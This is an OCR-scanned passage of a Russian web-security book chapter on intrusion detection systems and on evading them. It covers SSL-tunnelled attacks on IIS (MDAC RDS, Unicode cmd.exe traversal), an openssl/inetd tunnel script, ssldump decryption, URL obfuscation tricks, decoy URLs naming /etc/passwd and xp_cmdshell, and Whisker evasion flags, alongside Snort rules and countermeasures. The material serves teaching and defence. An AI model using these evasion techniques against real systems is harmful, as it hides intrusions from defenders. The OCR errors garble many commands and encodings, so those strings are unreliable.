трафика, инициированного взломщиком. В зависимости от размещения IDS можно разделить на две категории: сетевые и хостовые (функционирующие на отдельных узлах)
Сетевые IDS
Сетевые системы выявления вторжений — это специализированные системы, размещаемые непосредственно в сегменте сети и используемые для обнаружения атак, направленных на любой узел этой сети. Одна сетевая IDS может осуществлять мониторинг
нескольких сетевых сегментов и предоставлять обобщенные отчеты об атаках, зафиксированных в рамках этих сегментов. При этом перехватываются и анализируются все данные, передаваемые в сети. Для решения этой задачи сетевая система выявления вторжений должна обладать очень высоким быстродействием и как можно меньше снижать пропускную способность сетевых каналов связи.
К числу популярных сетевых IDS относятся такие коммерческие программные продукты, как RealSecure от компании ISS (http://www.iss.net/products_services/ enterprisej>rotection/ rsnetvork/ index. php) и SecureNet от компании Intrusion, Inc. (http: / /ww. intrusion. com/prcxiucts/productcategory. asp?IngCatIda4), а также программы, разработанные в рамках модели открытого кода, например Snort (http:// www. snort еОгд/).
Хостовые IDS
Хостовые системы используются на том компьютере, мониторинг которого осуществляется. Они отслеживают только те данные, которые поступают извне или передаются на данный узел. Помимо анализа сетевого трафика и обнаружения внешних атак, для идентификации несанвдионированных действий IDS на уровне узла позволяют также выполнять мониторинг других системных параметров, таких, как запущенные процессы, доступ к файловой системе и ее целостность, а также события регистрации польз ователей.
К популярным IDS уровня узла относятся Blacklcc Defender от компании ISS (http://www.iss.net/products^services/hsoffice^protection/blkict^protectjtc.php) и PortSentry откомпании Psionic (http://www. psionic.com/products/po rtsentry.html).
Каждая система выявления вторжений имеет свои достоинства и недостатки, однако при обнаружения Web-атак сетевые IDS и системы, установленные на отдельных узлах, демонстрируют примерно одинаковую эффективность.
Точность IDS
Одна из ключевых проблем, связанных с системами выявления вторжения, — необходимость обеспечить достаточно высоБсую точность предоставляемых ими результатов. Ошибки IDS бывают двух типов: ложное срабатывание (fake positive) и несрабатывание в случае атаки (false negative). Ложное срабатывание происходит в том случае, если обычные действия расцениваются системой как атака, хотя на самом деле это совсем не так. Вторая ошибка возникает из-за того, что реальная атака остается незамеченной. С точки зрения возникающего риска более опасным считается второй случай. Система IDS, пропустившая хотя бы одно нападение, может оказаться абсолютно неэффективной, посколысу для успешного достижения поставленной цели взломщику зачастую требуется реализовать лишь одну атаку, ущерб от которой будет колоссальным. Ложное срабатывание может вызывать лишь раздражение, причем его степень зависит от объема действий, которые при этом необходимо выполнять. Однажды сетевая система выявления вторжений начала отправлять огромное число предупрезэдений, когда авторы этой книги загружали исходный код утилиты взлома с общедоступного Web-узла архивов. IDS "решила”,что на этом архивном узле каждый фрагмент кода является враадебным. Устранить эту проблему оказалось довольно легко. Другая крайность связана с тем, что при получении лавины ложных предупреждений системные администраторы просто отключают IDS, что потенциально может привести к катастрофе.
Идеальной системы выявления вторжений, которая обеспечила бы отсутствие ложных срабатываний и идентификацию всех атак, не существует. Когда Web-хакеру
требуется прорваться через IDS, он может либо замаскировать атаку, тем самым обеспечив ее незаметность, либо с помощью автоматизированных средств сгенерировать сотни ложных срабатываний, которые будут фиксироваться в журналах IDS.
Обход систем IDS
Чтобы передать вредоносные данные и остаться незамеченным системой выявления вторжений, взломщик должен изучить основные принципы ее функционирования и выявить изъяны каждого из ее компонентов. Работа любой IDS основана на использовании анализатора сетевых пакетов и модуля анализа сигнатур. Простейший способ их обхода заключается в передаче зашифрованных данных, декодируемых в той точке, на которую нацелена атака. О чем еще может мечтать Web -взломщик, если существует протокол SSL! Основанные на SSL Web-атаки сводят на нет усилия практически всех сетевых систем выявления вторжений.
Другой способ обмана анализатора пакетов IDS связан с передачей данных в произвольно чередующихся фрагментах. Если фрагменты поступают в произвольном порядке, то IDS придется потратить некоторое время, чтобы снова собрать всю последовательность, прежде чем данные можно будет передать модулю анализа сигнатур. Для фрагментации данных, используемых при реализации атаки, и передачи их на целевую систему в произвольном порядке могут пригодиться такие программы, как fragrouter (http://packetstormsecurity.Org/UNIX/IDS/fragrouter-l.6.tar.gz). Однако следует заметить, что большинство современных IDS выполняют сборку фрагментов и вполне справляются с решением этой проблемы.
Последний, и порой наиболее эффективный, способ обхода IDS заключается: в генерации строк, характеризующих атаку, которые вводили бы модуль анализа сигнатур в заблуждение. Лишь немногие средства переполнения буфера основаны на полиморфном коде, который обеспечивает, чтобы никакие две сигнатуры не совпадали друг с другом. Полиморфный код может показаться чем-то из области космических технологий, однако в мире Web-хакеров механизм анализа сигнатур можно обойти без каких бы то ни было проблем. Такой подход позволяет взломщибсу изменять адреса URL и НТТР- запросы таким образом, чтобы они каждый раз выглядели иначе, но позволяли бы выполнять прежнюю задачу. Более подробно эти методы рассматриваются ниже.
"Безопасный" хакинг — атаки
с использованием протокола SSL
Как правило, в приложениях электронной коммерции конфиденциальные данные передаются с использованием протокола SSL. На его основе между Web-броузером и Web-сервером устанавливается зашифрованное соединение, в рамках которого передаваемые данные защищены от прослушивания. При разработке протокола SSL преследовалась единственная цель: обеспечить невозможность перехвата пакетов с помощью сетевых анализаторов пакетов. С использованием этих средств злоумышленники извлекают из передаваемых данных конфиденциальную информацию.
Для выявления вторжений протокол SSL является единственным существенным препятствием. В большинстве систем IDS для сбора данных о сетевой деятельности используются средства анализа пакетов. Если передаваемые данные зашифрованы, то их анализ и проверку на "благонадежность” выполнить уже невозможно. Все IDS, работа которых основана на анализе сетевых пакетов, пне замечают** атаки на базе SSL Это продемонстрировано на рис. 17.1.
Рис. 17.1. Обход IDS с использованием протокола SSL
Пример
Чтобы проиллюстрировать "возможности” IDS по выявлению атак, основанных на использовании протокола SSL, рассмотрим пример такой атаки на узел под управлением Windows, на котором установлен также Web-сервер IIS 4.0. В рамках примера рассматривается следующая сетевая конфигурация.
Сервер IIS прослушивает порты 80 и 443 узла 192.168.7.2 03.
Система выявления вторжений Snort запущена на узле webspy, прослушиваю - щем тот же сетевой сегмент, в котором находится и узел 192.168.7.203.
Взломщик# 1 располагается наузле*10.0.0.1.
Взломщик #2 располагается на узле 10.0.0*2.,
За время между 9:46 Р.М. и 9:53 Р.М. против узла 19 2.16 8.7.20 3 было инициировано четыре атаки: две атаки MDAC RDS с узла 10«0.0.1 и две атаки Unicode cmd.exe с узла10.0.0.2.
Время
Хакер
Использование SSL
Используемый адрес URL
9:46 Р.М.
10.0.0,1
Нет
http://192.168.7.203/flL8adc/msadcs.dll
9:47 Р.М.
10.0.0.2
Нет
http://192.168.7.203/8cript8/..IcOtaf../
winnt/system32/cmd.exe?/c+set
9:49 Р.М.
10.0.0.1
Да
https :〃 192 ・】68 ♦ 7 ・ 203/msadc/insadcs .dll
Время Хакер Использование SSL Используемый адрес〔 R1
9:53 Р.М. 10.0.0.2 Даhttps://19 2.16 8.7.203/scripte/..IcOlaf../
winnt/system32/cmd.exe?/c+set
Просмотрев регистрационный журнал сервера IIS, установленного на узле 192.168.7.203, можно увидеть, что были зарегистрированы все четыре запроса. Эти записи приведены ниже.
2002-04-22 21:46:44 10.0.0.1 - 192.168.7.203 80 GET Zmsadc/BBadcs.dll 200
MoziIla/4.76*(enJ*(Window*l*T*5.0;*0)
2002-04-22 21:47:19 10.0.0.2 - 192.168.7.203 80 GET
/scripts/../../winnt/aystcffl32Zcmd.exe /c+set 502
Mozim/4.764[enj + (Windovs4NT*5.0;*U)
2002-04-22 21:49:01 10.0.0.1 - 192.168.7.203 443 GET /msadc/msadcs.dll 200
Mozilla/4.764[en)+ (WindowsiNT*5.0;*Q)
2002-04-22 21:53:32 10.0.0.2 - 192.168.7.203 443 GET
/seiipte/../../wirmt/syatem32/cmd.exe /c+set 502
Mo2illa/<.76+(enJ4(WiodowB4!fT+5.0;iU)
А в журналах системы Snort, запущенной на узле webspy, содержится только две записи.
Apr 22 21:42:2 0 webspy snort[6 6 0]: [1:1023:3] WEB-US msadc/msadcs.dll access [Classification: access to a potentially vulnerable Web application] [Priority: 2]: (TCP} 10.0.0.1:2597 -> 192.168.7.203:80-
Apr 2 2 21:42:53 webspy snort(6 6 0]: [102:1:1] spp http_decode: IIS Unicode attack detected {TCP) 10.0.0.2:1729 -> 192.168.7.203:80~
Две атаки через протокол SSL остались вне поля зрения IDS! Следовательно, если взломщик решит проникнуть на узел 192.168.7.203 с помощью протокола SSL, то это останется незамеченным.
Туннелирование атак посредством протокола SSL
Для реализации HTTP-атак с использованием протокола SSL можно без проблем воспользоваться броузером. Для этого достаточно указать в адресе URL префикс https, а не http. Далее броузер сам позаботится о согласовании параметров SSL-сеанса и шифровании данных. Однако, если для реализации атаки взломщику нужно воспользоваться сценарием или утилитой, в которых отсутствует встроенная подцержка протокола SSL, придется прибегнуть к SSL-туннслированию Этот метод подразумевает использование специальной программы, которая прослушивает порт 80 и при поступлении на него стандартных HTTP-запросов передает их через зашифрованное S S L-соединение указанному узлу. В рамках такой схемы передаваемые данные будут автоматически шифроваться и передаваться целевой системе.
Построить SSL-туннель на базе пакета OpenSSL совсем несложно, особенно в системе Unix, в которой используется демон inetd. Рассмотрим пример, когда злоумышленник находится на узле 10.0.0.1, а целевой Web-сервер установлен на узле 192.168.7.203 и прослушивает порт 443. Предположим, что взломщик хочет запустить на целевом Web-сервере такую программу поиска изъянов, как Whisker. Для реализации задуманного плана злоумышленник создает SSL-туннель на другой системе, 10.0.0.2. При этом в файл /etc/inetd.conf на узле 10.0.0.2 он добавляет следующую запись:
www stream tcp nowait root /usr/sbin/tcpd /tmp/sslconnect.sh
Подобное изменение конфигурации приведет к тому, что демон inetd будет передавать сценарию /tmp/sslconnect.sh весь TCP-трафик, приходящий на порт 80 (WWW). В файле /tmp/sslconnect. ah содержится следующий код:
il/bin/sh
openssl s^client -no_tlel -quiet -connect 192.168.7.203:443 2>/dev/null
Поскольку сценарий /tmp/sslconnect.sh запускается демоном inetd, все данные, поступающие на ТСР-порт 80, воспринимаются утилитой openssl как данные, поступающие из стандартного входного потока. IP-адрес 192.168.7.203 целевого сервера жестко задан в самом сценарии. Один такой SSL-туннель одновременно можно использовать дая взаимодействия только с одной системой. Параметры -no tlsl и -quiet предназначены для подавления вывода на экран заголовков SSL и обхода предупрезэдений SSL- аутентификации, генерируемых при использовании неподписанных сертификатов узлов. Все возвращаемые утилитой openssl данные отсылаются обратно через входящее ТСР- соединение демона inetd, поскольку сценарий передает все данные в стандартный выходной поток. Использование SSL-туннеля продемонстрировано на рис. 17.2.
Рис. 17.2. SSL-туннель, реализованный с использованием демона inetd и средств Open SSL
Теперь в качестве целевого сервера утилиты Whisker взломщик может задать узел 10.0.0.2 и порт 80, а не узел 192.168.7.203. При этом шифрование и передача данных на узел 192.168.7.203, а также передача ответов по адресу 10.0.0.1 будут обеспечивать - ся SSL-туннелем.
Более удачный и надежный SSL-туннель можно организовать с использованием утилиты stunnel. Ее исполняемую версию для системы Windows, разработанную на базе библиотек OpenSSL, можно найти по адресу http://www.stunnel.org/.
Выявление вторжений через SSL
Что делать, если протокол SSL сводит на нет все попытки выявления вторжений? Простого ответа на этот вопрос не существует, хотя рядом специалистов были предложены различные решения, в которых учитывалась специфика конкретных ситуаций. Оказалось, что наилучший вариант связан с использованием реверсивного НТТР- посредника (reverse HTTP proxy). На рис. 17.3 показано, как такой посредник можно использовать для перехвата SSL-трафика, прежде чем он достигнет Web-сервера, и для передачи Web-серверу HTTP-запросов с незашифрованным текстом. При этом система выявления вторжений размещается между реверсивным HTTP-посредником и Web - сервером и позволяет вьщелять в HTTP-трафике сигнатуры атак.
Единственный недостаток такой архитектуры заключается в том, что исходный IP- адрес системы, с которой была инициирована атака, заменяется IP-адресом реверсивного HTTP-посредника. Для получения исходного IP-адреса придется сопоставить журналы HTTP-посредника и IDS.
Рис. 17.3. Реверсивный HTTP-посредник 〃 система IDS
Анализ трафика SSL
Утверждение о том, что проанализировать данные, передаваемые через SSL- соединение, невозможно, не совсем верно. При передаче ключа сеанса между Web- сервером и броузером используется протокол SSL, в основу которого положены крип- тографичесБсие методы с применением открытого ключа. Ключ сеанса (закрытый симметричный клюй) используется Web-сервером и броузером для шифрования данных, которыми они обмениваются во время HTTP-сеанса.
Если удастся получить клюй сеанса SSL, то можно расшифровать поток перехваченных данных. Ключ сеанса SSL можно получить лишь при его передаче между Web-сервером и броузером. Однако такое взаимодействие выполняется с использованием шифрования по открытому ключу. Таким образом, для получения ключа сеанса взломщик должен получить доступ к серверному и клиентскому SSL-сертификатам, если таковые используются. Web-серверы достаточно редко заставляют использовать сертификат в клиентском броузере.
Зная закрытый клюй SSL-сертификата сервера, хакер сможет выполнить дешифрацию данных SSL-соединения, если анализатор трафика SSL был запущен до того момента, как было установлено само соединение. И такая утилита-анализатор существует. Программа ssldump (http://vww.rtfm.com/Bsldunip/) представляет собой версию tcpdump, которая позволяет перехватывать трафик SSL. Более подробную информацию об утилите ssldump и основных принципах ее использования можно получить на Web-узле rtfm.com.
Рассмотрим пример практического использования утилиты ssldump. Web-сервер Apache с подцержкой протокола SSL запущен на узле 192.168.7.204. В конфигурационном файле этого сервера содержится две директивы, определяющие местоположение серверного S SL-сертификата и соответствующего закрытого клюиа.
SSLSertific&toflle /etc/httpd/conf/591/server.crt
SSLSertificateKeyFile /etc/httpd/conf/ssl/server.key
В рассматриваемом примере утилита ssldump запущена на том узле, на котором можно анализировать входящий и исходящий сетевой трафик узла 192.168.7.204. Для того чтобы с использованием программы ssldump можно было успешно расшифровать данные SSL, в своем распоряжении нужно иметь копию закрытого ключа
SSL-сертификата — server»key. Расшифрованный с помощью утилиты ssldump HTTP- сеанс между узлами 10.0.0.1 и 192.168.7.204 выглядит следующим образом.
rootlvebspy:-。 sslduiip _n -q -d -k ./server.key
New TCP connection 11: 10.0.0.1(1410) <-> 192.168.7.204(443)
i 1 0
.0075
(0 .0075)
OS SSLv2 compatible client hello
1 2 0
.0096
(0 .0020)
S>C HandshakeServerHello
1 3 0
.0097
(0 .0001)
S>C HandshakeCertificate
1 4 0
.0097
(0 .0000)
S>C HandshakeServerHelloDone
1 5 0
.0153
(0 .0055)
OS HandshakeC1ientKeyExchange
1 6 0
.0531
(0 .0377)
os ChangeClpherSpec
1 7 0
.0531
(0 .0000)
OS HandshakeFinished
1 8 0
.0541
(0 .0010)
S>C ChangeCipherSpec
1 9 0
.0541
(0 .0000)
S>C HandshakeFinished
1 10 0
.0560
(0 .0019)
os application_data
GET /cgi-bin/test-cgi HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.76 [en] (Windows NT 5.0; 0)
Host: 192.168.7.204
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
1 11 0.1046 (0.0485) S>C application_data
HTTP/1.1 200 OK
Date: Tue, 23 Apr 2002 20:21:11 GMT
Server: Apache/1.3.19 nodvSsl/2.B.2 OpenSSL/O.9.6
Connection: close
Content-Type: text/plain
CGI/1.0 test script report:
argc is 0. argv is .
SERVER SOFTWARE = Apache/1.3.19 mod ssl/2.8.2 OpenSSL/O.9.6
SERVEM[naME = 192.168.7.204
GATEWAY INTERFACE = CGI/1.1
SERVER了ROTOCOL = HTTP/1.0
SERVER_PORT » 443
REQQEST—METHOD = GET
HTTP_ACCEPT = */*
PATH_INFO =
PATH^TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY^STRING =
REMOTE HOST =
REMORE二ADDR = 10.0.0.1
remote"user =
AUTH ТЙ»Е =
CONTENT TTPE =
co»tent"length =
POST QUERY:
1 12 0.1131 (0.0084) S>C Alert1 12 0.1131 (0.0084) S>C Alertwarningwarningclose_notifyclose_notify
1 12 0.1131 (0.0084) S>C Alert
1 12 0.1131 (0.0084) S>C Alert
warning
warning
close_notify
close_notify
I 0.1138 (0.0006) S>C TCP FIN
:13 0.1168 (0.0030) OS Alertwarningclose notify
10.1172 (0.0003) OS TCP FIN
root€vebspyj*l
На узле 10.0.0.1 сгенерирован запрос по адресу https://192.16S.7.204/cgi- bin/test-cgi. В рассматриваемом примере с использованием утилиты ssldinnp удалось расшифровать как HTTP-запрос, так и ответ.
При использовании в системах выявления вторжений модуля анализа данных SSL возникает две проблемы. Во-первых, дешифрация трафика SSL требует значительных ресурсов центрального процессора. Для эффективной работы в реальном времени анализ данных SSL нужно выполнять исключительно на мощных и быстродействую- тих системах. Во-вторых, если протокол SSL используется на множестве серверов, на которых применяются различные сертификаты и клюии, то для каждого из них необходимо запускать отдельный экземпляр SSL-анализатора.
Полиморфные адреса URL
Слово полиморфный (polymorphic) означает, что тот или иной объект имеет несколько форм. Пол аморфными будем называть такие адреса URL, которые связаны с одним и тем же ресурсом, однако имеют различный вид.
В главе 3 обсуждалась структура URL, а также способы, с использованием которых в адресах URL можно закодировать запрещенные символы. Если внимательно посмотреть на структуру URL, то можно заметить, что один и тот же адрес можно представить несколькими способами. Вполне очевидно, что подобное представление URL в различной форме может понадобиться для обхода анализа сигнатур.
Проиллюстрируем это на примере. Вернемся к сценарию, когда злоумышленник располагается на узле 10.С.0.1, а целевой сервер имеет адрес 192.168.7.203. Программа snort запущена на системе webspy, которая прослушивает тот же сетевой сегмент, в котором содержится и узел 192.168.7.203 В данном случае рассматривается атака RDS/MDAC. Ее реализация подразумевает генерацию запроса к ресурсу msadcs.dll сервера IIS. Для того чтобы определить, существует ли ресурс msadcs.dll в конкретной системе, можно сгенерировать следующий НТТР-запрос: rootno.O.O.rf пс 192.168.7.203 80 GET /usadc/msadcs. dl 1 HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-llS/4.c
Date: Mon, 22 Apr 2002 11:54:07 GMT
Content-Type: application/x-varg
Content-Length: 6
w c ???
Запрашиваемый ресурс находится по адресу http://192.168.7.203/msadc/insadcs.dll. Ответ сервера свидетельствует о том, что данный ресурс действительно существует и запрос был успешно обработан. Как только будет отправлен данный запрос, в журнале узла webspy появится предупреждение о том, что IDS обнаружила атаку. Это сообщение имеет следующий вид:
Apr 22 11:54:09 webspy snort[640): [1:1023:3] WE3-IIS msadc/msadcs.dll access
[Classification: access to a potentially vulnerable web application]
[Priority: 2): {7CP} 10.0.0.1:1195 -> 192.168.7.203:00
В специальном файле утилиты snort, в котором содержится набор правил выявления атак на сервер IIS, за обнаружение доступа к ресурсу /insadc/oisadcs.dll отвечает следующее правило:
alert tcp SEXTERKAL—NE二 any -> {HTTP SERVERS 80 (zisg:wMEB-llS msadc/msadcs.dll access"; flags: A+; uricontent:*/Bsadc/msadcs.611"; nocase; reference:cverCVZ>1999>1011; reference:bugtraq,529; classtype:veb-applic«tion-activity; sid:1023; rev:3;)
В соответствии с этим правилом в URI-строке HTTP-запроса выполняется поиск шаблона /msadc/msadcs.dll. Если HTTP-запрос на доступ к ресурсу jnsadcs.dll удастся переписать таким образом, чтобы совпадения с шаблоном уже не было, то нападение может оказаться незамеченным.
Ниже приведены наиболее распространенные способы представления этого запроса.
Представление символов шестнадцатеричным кодом.
Избыточное кодирование или недопустимое кодирование символов в формате Unicode.
Добавление фиктивных путей.
Вставка комбинации символов/./.
Использование в пути нестандартных символов -разделителей.
Использование нескольких символов /.
Шестнадцатеричное кодирование
В главе 5 описывалось, каким образом символы, которые запрещено использовать в адресах URL напрямую, можно зашифровать с помощью двухзначного шестнадцатеричного представления их AS СП-кодов. В формальной спецификации URL указано, что Web-броузеры должны использовать Шестнадцатеричное кодирование только для тех символов, которые не могут быть представлены напрямую. Однако Web-серверы декодируют любые символы, представленные в шестнадцатеричном формате, в том числе символы алфавита и цифры. С использованием шестнадцатеричного кодирования запрос GET /msadc/msadcs.dll http/1.0
можно представить следующим образом:
GET /HDt73t61t€4t63/16Dt73t61U4U3t73<2Et64l6Ct6C НТГР/1.0
При использовании такого запроса будет получен тот же конечный результат. Однако с использованием шестнадцатеричного кодирования систему Snort обмануть не удастся. В ее состав входит препроцессор HTTP, который используется в качестве дешифратора URL. Декодированный с помощью препроцессора адрес URL проверяется на наличие в нем любых известных сигнатур.
Избыточное шифрование или недопустимое кодирование символов в формате Unicode
Web-серверам IIS можно передать HTTP-запросы, сгенерированные с использованием недопустимого кодирования Unicode или избыточного шифрования. Более подробно этот вопрос обсуждается в главе 5. Ниже показано, как с использованием такого подхода можно зашифровать строку / msadc/msadcs.dll.
Метод шифрованияДвухбайтовое шифрование UnicodeТрехбайтовое шифрование UnicodeДвойное шифрованиеМетод шифрованияДвухбайтовое шифрование UnicodeТрехбайтовое шифрование UnicodeДвойное шифрованиеЗашифрованная строка
Метод шифрования
Двухбайтовое шифрование Unicode
Трехбайтовое шифрование Unicode
Двойное шифрование
Метод шифрования
Двухбайтовое шифрование Unicode
Трехбайтовое шифрование Unicode
Двойное шифрование
IC0iAnclUD%CBB3WllAllClU4IClU3«C0WtCltADlCnB3IClUll cimtciu3tciiB3icom%ciu4icmcicmc
H0U0tAFtE0teitADtE0HllB3iE0t81UnE0t81U4tE0*81tA3IE0l80t mEOI81UDlEO«8BB3«EOI81IABEOI81U4IEOt81IA3IEO*8BB3IEOt 8OUEtEOI8BA4tEOt81UC«EOI81UC
<25t32U6t25%36U4l25t37l33l25t36l31i2SU6t34%25t36t33t25l32t 46l25%36%44«25t37%33l25t36l31t25t36t34t25t36l33t25U7%33t25« 32t45825t36R34S25Q36M3Q25&36M3
HTTP-препроцессор программы Snort выполняет также декодирование тех данных, к которым было применено недопустимое двойное Unicode-кодирование или избыточное шифрование. При передаче по сети запросов, сгенерированных с использованием этих методов, утилитой Snort генерируются предупреждения.
Добавление фиктивных путей
Если в адресе URL содержится строка ../, это означает, что каталог, указанный перед данной строкой, игнорируется. Это условие позволяет взломщикам вставлять в строку URL фиктивные пути или фиктивные имена каталогов, а затем игнорировать их с помощью строки •・/. Использование фиктивных путей может сбить с толку механизм поиска по шаблону модуля анализа сигнатур. В приведенном ниже фрагменте показано, как фиктивные пути можно вставить в запрос на доступ к ресурсу /msadc/msadcs.dll.
GET / junk/. .Zmsadc/more junk/. ./msadcs.dllHTTP/l.O
В данном случае шаблон /msadc/msadcs.dll был нарушен путем добавления строки more junk/../ между строками /msadc/ и msadcs.dll. На этот раз средствами Snort обнаружить атаку RDS/MDAC не удастся. Однако система Snort позволяет обнаружить, что в строке URL содержится недопустимый символ обхода каталога. В результате будет сгенерировано соответствующее предупреждение, поскольку в обычных адресах URL строка ../ нс используется.
Вставка строк /. /
Еще один способ маскирования URL для реализации атаки — использование строк /./. Указанная перед спецификацией файла строка ./ свидетельствует о том, что эта спецификация связана с текущим рабочим каталогом. Ниже представлено несколько вариантов запроса к ресурсу /msadc/msadcs.dll, модифицированного с использованием строк /•/,
GET /. /osadc/. /nsadcs. dl 1 HTTP/1.0
GET /«/. /msadc/. /. /nsadcs»dl 1 HTTP/1.0
GET t J J. /nsadc/ J J. /msadcs.dl 1 HTTP/1.0
GET /«//./iisadc/.//./nsadcs.dll HTTP/1.0
Все эти запросы успешно обошли средства защиты snort. Однако эту ситуацию можно легко исправить, дополнив набор правил поиска сигнатур новым правилом для строки /•/. В состав набора правил программы snort уже включено правило поиска строки •・/. Правило для строки /./ можно добавить в ту же категорию правил web-misc.rules, как показано ниже.
wb-nisc. rules:alert tcp SEXTERNAL NET any -> $HTTP SERVERS 80
(msg: *WEB-MISC http slash-dot-slash string"; flags? A+;
content: **/./";
classtype:attempted-recon; sid:9999; rev:1;)
Использование в пути нестандартных символов-разделителей
При задании адресов URL сервер IIS компании Microsoft разрешает использовать в пути в качестве символа-разделителя обратную косую черту (\). Компания Microsoft использовала этот символ-разделитель еще со времен DOS и при реализации своего Web-сервера также "решила” проигнорировать спецификации НТТР/1.0 и НТТР/1.1, в которых определено, что в качестве такого разделителя должен использоваться только символ прямой косой черты (/).
Таким образом, все направляемые серверу IIS запросы HTTP можно модифицировать, воспользовавшись в качестве разделителя символом \. В этом случае запрос на получение доступа к ресурсу /usadc/msadcs .dll будет выглядеть следующим образом: GET/msadc\msadcs.dll HTTP/1.0
Поскольку в наборе правил утилиты snort шаблон rasadc\msadcs.dll отсутствует, такой запрос не вызовет никаких подозрений. Для решения этой проблемы любое правило, связанное с запросами к серверу IIS, в котором содержится символ -разделитель, должно быть продублировано также и с использованием символа-разделителя V Еще лучше разработать для программы snort собственный препроцессор, который в адресе URL выполнял бы замену всех символов \ на /.
Использование нескольких символов /
В качестве разделителя можно использовать не один символ косой черты, а сразу несколько. При этом с использованием такого адреса URL можно выполнять те же действия, что и раньше. Такой прием позволяет ввести в заблуждение системы выявления вторжений, например snort. Ниже показаны запросы, эквивалентные исходному запросу для получения доступа к ресурсу / msadc / msadcs. dll.
GET/ZmsadcZ/nsadcs • dll HTTP/1.0
GET///nsadc///nsadcs. dl 1 HTTP/1.0
Одновременное использование
различных подходов
Воспользовавшись несколькими рассмотренными выше методами, можно создать еще большее количество адресов URL. Ниже приведены некоторые примеры.
GET/.\nsadc/.\msadC6.dllHTTP/1.0
GET/\msadc/\#sadcs.dllHTTP/1.0
GET//\\asadc//\\nsadcs.dll НТТР/1.0
Для борьбы с подобными хитростям и эффективного выявления вторжений в состав IDS должен входить специальный HTTP-дешифратор или НТТР-препроцессор.
Генерация ложных сообщений
Заставить IDS вьщать ложное предупреждение об атаке можно различными способами. Один из них заключается: в передаче данных, в которых содержится строка, совпадающая с шаблоном из таблицы сигнатур системы IDS. При этом сами данные с атакой могут быть и не связаны. Рассмотрим три URL.
http://192.168.7.203/index.htmllciDd.exe
-• https//192.168.7.203/index.hUnl?dumnyparamsxp_c3ndshel2
http://192.168.7.203/cgi-bin/print・ egi ? page» 3 bdwranyparаляс«t/etc/pas 8 vd
В первом адресе содержится ссылка на несуществующую тоику привязки cnd.exe. Соответствующий HTTP-запрос будет успешно обработан, и с узла 192.168.7.203 клиентский броузер получит содержимое страницы index.htx^ Однако одновременно с этим IDS сообщит об атаке на узел 192.168.7.203, посколысу строка cmd.exe содержится в одной из проверяемых ею сигнатур.
Во втором адресе URL через строку запроса статическому HTML-файлу передается параметр. Web-серверу передается параметр с именем dunnyparam со значением хр cmdshell. Эта хранимая процедура используется в реальных атаках, когда в строку URL вставляется специальный SQL-запрос. В данном же случае index.html — это статическая HTML-страница, которой ничего не известно о каких-либо передаваемых ей параметрах. Эти параметры попросту отбрасываются. IDS не может определить, используется ли какой-либо адрес URL для реального нападения. В рассматриваемом случае такая IDS, как snort, сообщила бы об атаке на узел 192.168.7.203.
В строке запроса третьего адреса URL сценарию CGI передаются параметры. Однако в строке запроса можно указать и "лишние” п^)аметры, не используемые данным сценарием. При этом эффект будет таким же, как и при использовании второго адреса URL.
Для проверки все три адреса URL были отправлены с узла 10.0.0.1 на узел 192.168.7.203. При этом системой snort были сгенерированы три предупреждения, причем все они оказались ложными.
Apr 22 04:45:14 webspy snort(835): [1:1002:2] WEB-IIS cmd.exe access
[Classification: Web Application Attack] [Priority: 1 ]:
(TCP} 10.0.0.1:2490 -> 192.168.7.2:80-
Apr 22 04:45:47 web spy snort (835] : [1:1061:2] WEB-MI SC cmdshell attempt
[Classification: Web Application Attack] [Priority: 1):
(TCP) 10.0.0.1:2494 -> 192.168.7.2:80
Apr 22 04:46:38 web spy snort[835) : [1:1122:1] ИЕВ-MI SC /etc/passvd
[Classification: Attempted Infonnation Leak] [Priority: 2):
{TCP) 10.0.0.1:2495 -> 192.168.7.2:80
Обход систем IDS программами проверки изъянов
Программы проверки Web-изъянов, такие, как Whisker, могут работать с включенным режимом обхода систем IDS. В программе Whisker реализовано 10 методов обхода IDS.
-I 1 Режим обхода IDS 1 (URL-кодирование)
-I 2 Режим обхода IDS 2 (вставка строки/./)
-I4Режимобхода IDS4 (длинный URL)
-I5Режимобхода IDS5 (фиБсгивный параметр)
-I6Режимобхода IDS6 (разделение с использованием табуляции) (не исполь
зуется для NT/IIS)
-I7Режимобхода IDS7 (чувствительность к регистру)
-I8Режимобхода IDS8 (ограничитель Windows)
-I 9 Режим обхода IDS 9 (слияние сеансов) (медленный)
-I 0 Режим обхода IDS 0 (метод NULL)
При поиске изъянов методы обхода систем IDS могут комбинироваться.
Потенциальные контрмеры
Основатель компании NFR, Inc. Маркус Ранум (Marcus Ranum), выступая на совещании Blackhat Briefings 1999, впервые заговорил о необходимости разработки "охранных сигнализаций** и ,,ловушек,*. Он отметил, что самая надежная защита может быть достигнута при обеспечении безопасности как внешнего периметра сети, так и каждого узла в отдельности. Однако, для того чтобы гарантировать отсутствие изъянов в самих средствах обеспечения безопасности как по периметру сети, так и внутри нее, нужно установить охранную сигнализацию или ловушку. В роли такой ловушки может выступать программа-анализатор, которой используются правила анализа пакетов, прямо противоположные правилам, заданным для брандмауэра. Если брандмауэр работает безупречно, то ни один пакет не будет перехвачен анализатором. Однако, если какой-либо подозрительный пакет будет обнаружен анализатором, значит, взломщикам каким-то образом удалось обойти брандмауэр.
Использ ование систем выявления вторжений для обнаружения Web-атак сопряжено со множеством трудностей. Главным образом, эти трудности обусловлены природой HTTP-запросов и основными принципами взаимодействия с Web - приложениями. Из-за большого разнообразия путей, которые можно использовать для решения одной и той же задачи, системы IDS просто не в состоянии справиться со всеми возможными способами реализации атак. Такие системы гораздо лучше подходят для обнаружения отдельных событий. Поэтому при построении или настройке IDS для обнаружения Web-атак нужно руководствоваться следующими принципами.
Декодирование SSL
При выявлении вторжений из Web самым серьезным препятствием является протокол SSL. Сетевые IDS работают подобно "третьему среднему**, проверяя сетевой трафик и выполняя поиск в нем известных сигнатур еще до того момента, как он достигнет конечной цели. Протокол SSL разрабатывался специально для того, чтобы предотвратить любое стороннее подслушивание. Создание IDS, которая работала бы с трафиком SSL, можно отнести к классу двойственных задач для разработки протокола SSL.
Однако, как упоминалось выше, для выполнения декодирования данных SSL можно либо предоставить IDS используемые на сервере SSL-сертификаты и закрытые ключи, либо реализовать реверсивный HTTP-сервер, который выполнял бы дешифрацию SSL-трафика, а затем передавал его внутренним Web-серверам. В последнем случае IDS можно разместить между реверсивным сервером-посредником и внутренним Web-сервером.
